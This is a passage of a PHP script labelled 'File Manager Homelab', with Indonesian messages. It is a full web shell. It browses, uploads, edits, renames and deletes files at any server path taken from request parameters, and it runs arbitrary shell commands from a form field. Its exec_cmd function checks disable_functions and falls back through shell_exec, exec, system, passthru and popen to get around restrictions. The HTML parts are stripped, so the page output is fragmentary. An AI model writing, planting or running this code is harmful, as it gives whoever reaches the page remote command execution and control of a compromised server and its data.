';
exit;
}
// === LOGOUT ===
if (isset($_GET['logout'])) {
session_destroy();
header("Location: ".$_SERVER['PHP_SELF']);
exit;
}
$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$dir = realpath($dir);
$msg = '';
// === CREATE ===
if (!empty($_FILES['file']['name'])) {
$target = $dir . "/" . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
$msg = "Upload berhasil!";
} else {
$msg = "Upload gagal!";
}
}
if (isset($_POST['newfolder']) && $_POST['newfolder'] !== '') {
$newFolder = $dir . DIRECTORY_SEPARATOR . basename($_POST['newfolder']);
if (!file_exists($newFolder)) {
mkdir($newFolder);
$msg = "Folder berhasil dibuat!";
}
}
// === CREATE FILE (FITUR BARU) ===
if (isset($_POST['newfile']) && $_POST['newfile'] !== '') {
$newFile = $dir . DIRECTORY_SEPARATOR . basename($_POST['newfile']);
if (!file_exists($newFile)) {
if (touch($newFile)) {
$msg = "File berhasil dibuat!";
} else {
$msg = "Gagal membuat file!";
}
} else {
$msg = "File sudah ada!";
}
}
// === UPDATE ===
if (isset($_POST['rename']) && isset($_POST['oldname'])) {
$oldPath = $dir . DIRECTORY_SEPARATOR . $_POST['oldname'];
$newPath = $dir . DIRECTORY_SEPARATOR . $_POST['rename'];
if (rename($oldPath, $newPath)) {
$msg = "Rename sukses!";
} else {
$msg = "Rename gagal!";
}
}
if (isset($_POST['editfile']) && isset($_POST['filename'])) {
$filePath = $dir . DIRECTORY_SEPARATOR . $_POST['filename'];
file_put_contents($filePath, $_POST['editfile']);
$msg = "File berhasil diupdate!";
}
// === DELETE ===
if (isset($_POST['delete'])) {
$target = $dir . DIRECTORY_SEPARATOR . $_POST['delete'];
if (is_dir($target)) {
if (rmdir($target)) {
$msg = "Folder dihapus!";
} else {
$msg = "Gagal hapus folder!";
}
} else {
if (unlink($target)) {
$msg = "File dihapus!";
} else {
$msg = "Gagal hapus file!";
}
}
}
// === TERMINAL HELPERS ===
function exec_cmd($cmd, $cwd) {
$disabled = explode(',', str_replace(' ', '', ini_get('disable_functions')));
$output = "";
// Build command sesuai OS
if (strncasecmp(PHP_OS, 'WIN', 3) == 0) {
$fullCmd = "cd /d " . escapeshellarg($cwd) . " && cmd /c " . $cmd . " 2>&1";
} else {
$fullCmd = "cd " . escapeshellarg($cwd) . " && " . $cmd . " 2>&1";
}
// shell_exec
if (!in_array('shell_exec', $disabled) && function_exists('shell_exec')) {
$output = shell_exec($fullCmd);
if ($output !== null) return $output;
}
// exec
if (!in_array('exec', $disabled) && function_exists('exec')) {
$res = array();
exec($fullCmd, $res);
return implode("\n", $res);
}
// system
if (!in_array('system', $disabled) && function_exists('system')) {
ob_start();
system($fullCmd);
return ob_get_clean();
}
// passthru
if (!in_array('passthru', $disabled) && function_exists('passthru')) {
ob_start();
passthru($fullCmd);
return ob_get_clean();
}
// popen
if (!in_array('popen', $disabled) && function_exists('popen')) {
$handle = popen($fullCmd, 'r');
$res = '';
while (!feof($handle)) {
$res .= fgets($handle);
}
pclose($handle);
return $res;
}
return "Tidak ada fungsi eksekusi yang tersedia (semua disable).";
}
$terminal_output = "";
if (isset($_POST['cmd'])) {
$cmd = trim($_POST['cmd']);
$terminal_output = exec_cmd($cmd, $dir);
}
// cek disable functions utk ditampilkan
$disabled_funcs = ini_get("disable_functions");
if (!$disabled_funcs) {
$disabled_funcs = "None";
}
?>
File Manager Homelab
Server Information:
OS:
PHP Version:
Server Software:
User:
Document Root:
Current Dir:
Disabled Functions:
";
echo "| Nama | Tipe | Size | Aksi |
";
foreach ($files as $f) {
if ($f === '.') continue;
$path = $dir . DIRECTORY_SEPARATOR . $f;
echo "";
if ($f === '..') {
$parent = dirname($dir);
echo "| [..] | Parent | - | - | ";
} elseif (is_dir($path)) {
echo "".$f." | Folder | - | ";
echo "
| ";
} else {
echo "".$f." | File | ".filesize($path)." bytes | ";
echo "
Edit
| ";
}
echo "
";
}
echo "";
}
// READ / EDIT file
if (isset($_GET['view'])) {
$file = $dir . DIRECTORY_SEPARATOR . $_GET['view'];
if (is_file($file)) {
echo "Isi File: ".htmlspecialchars($_GET['view'])."
";
echo "".htmlspecialchars(file_get_contents($file))."
";
}
}
if (isset($_GET['edit'])) {
$file = $dir . DIRECTORY_SEPARATOR . $_GET['edit'];
if (is_file($file)) {
$content = htmlspecialchars(file_get_contents($file));
echo "Edit File: ".htmlspecialchars($_GET['edit'])."
";
echo "";
}
}
?>